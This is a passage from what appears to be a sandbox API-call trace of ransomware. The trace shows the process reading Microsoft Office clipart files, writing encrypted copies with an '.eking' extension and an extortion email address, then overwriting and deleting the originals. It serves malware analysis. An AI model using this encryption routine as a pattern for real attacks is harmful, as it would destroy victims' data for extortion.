lpFileSize=0x322fcd8*=5836) returned 1 [0191.261] CloseHandle (hObject=0x1e8) returned 1 [0191.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf")) returned 0x20 [0191.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf")) returned 0x20 [0191.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.261] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.262] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.262] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0191.263] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x16cc, lpOverlapped=0x0) returned 1 [0191.265] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x16d0, lpOverlapped=0x0) returned 1 [0191.267] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.268] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.268] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.268] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x16cc, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x16cc, lpOverlapped=0x0) returned 1 [0191.270] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.276] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.281] CloseHandle (hObject=0x1e8) returned 1 [0191.282] CloseHandle (hObject=0x1b8) returned 1 [0191.293] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf")) returned 1 [0191.295] SetEvent (hEvent=0x174) returned 1 [0191.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.296] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3012) returned 1 [0191.296] CloseHandle (hObject=0x1b8) returned 1 [0191.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf")) returned 0x20 [0191.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf")) returned 0x20 [0191.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.297] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.297] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0191.298] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0xbc4, lpOverlapped=0x0) returned 1 [0191.300] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xbd0, lpOverlapped=0x0) returned 1 [0191.301] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.301] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.301] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.301] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xbc4, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0xbc4, lpOverlapped=0x0) returned 1 [0191.303] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.306] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.308] CloseHandle (hObject=0x1b8) returned 1 [0191.308] CloseHandle (hObject=0x1e8) returned 1 [0191.309] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf")) returned 1 [0191.310] SetEvent (hEvent=0x174) returned 1 [0191.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.311] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2756) returned 1 [0191.311] CloseHandle (hObject=0x1e8) returned 1 [0191.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf")) returned 0x20 [0191.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf")) returned 0x20 [0191.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.311] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.312] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.312] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.312] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0191.313] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0xac4, lpOverlapped=0x0) returned 1 [0191.315] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xad0, lpOverlapped=0x0) returned 1 [0191.316] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.317] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.317] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.317] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xac4, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0xac4, lpOverlapped=0x0) returned 1 [0191.322] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.325] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.328] CloseHandle (hObject=0x1e8) returned 1 [0191.328] CloseHandle (hObject=0x1b8) returned 1 [0191.329] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf")) returned 1 [0191.330] SetEvent (hEvent=0x174) returned 1 [0191.331] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.331] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=7372) returned 1 [0191.331] CloseHandle (hObject=0x1b8) returned 1 [0191.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf")) returned 0x20 [0191.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf")) returned 0x20 [0191.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.332] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.332] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.332] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.332] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0191.333] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x1ccc, lpOverlapped=0x0) returned 1 [0191.334] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x1cd0, lpOverlapped=0x0) returned 1 [0191.336] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.336] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.336] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.336] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1ccc, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x1ccc, lpOverlapped=0x0) returned 1 [0191.339] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.346] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.348] CloseHandle (hObject=0x1b8) returned 1 [0191.348] CloseHandle (hObject=0x1e8) returned 1 [0191.349] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf")) returned 1 [0191.351] SetEvent (hEvent=0x174) returned 1 [0191.351] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.352] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=7540) returned 1 [0191.352] CloseHandle (hObject=0x1e8) returned 1 [0191.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf")) returned 0x20 [0191.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf")) returned 0x20 [0191.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.353] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.353] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0191.354] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x1d74, lpOverlapped=0x0) returned 1 [0191.355] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x1d80, lpOverlapped=0x0) returned 1 [0191.356] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.357] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.357] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.357] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1d74, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x1d74, lpOverlapped=0x0) returned 1 [0191.359] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.363] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.366] CloseHandle (hObject=0x1e8) returned 1 [0191.367] CloseHandle (hObject=0x1b8) returned 1 [0191.370] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf")) returned 1 [0191.371] SetEvent (hEvent=0x174) returned 1 [0191.372] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.372] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=6632) returned 1 [0191.372] CloseHandle (hObject=0x1b8) returned 1 [0191.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf")) returned 0x20 [0191.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf")) returned 0x20 [0191.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.373] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.373] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0191.374] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x19e8, lpOverlapped=0x0) returned 1 [0191.376] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x19f0, lpOverlapped=0x0) returned 1 [0191.378] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.378] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.378] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.378] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x19e8, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x19e8, lpOverlapped=0x0) returned 1 [0191.380] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.383] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.386] CloseHandle (hObject=0x1b8) returned 1 [0191.386] CloseHandle (hObject=0x1e8) returned 1 [0191.387] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf")) returned 1 [0191.389] SetEvent (hEvent=0x174) returned 1 [0191.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.391] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2108) returned 1 [0191.391] CloseHandle (hObject=0x1e8) returned 1 [0191.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf")) returned 0x20 [0191.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf")) returned 0x20 [0191.391] 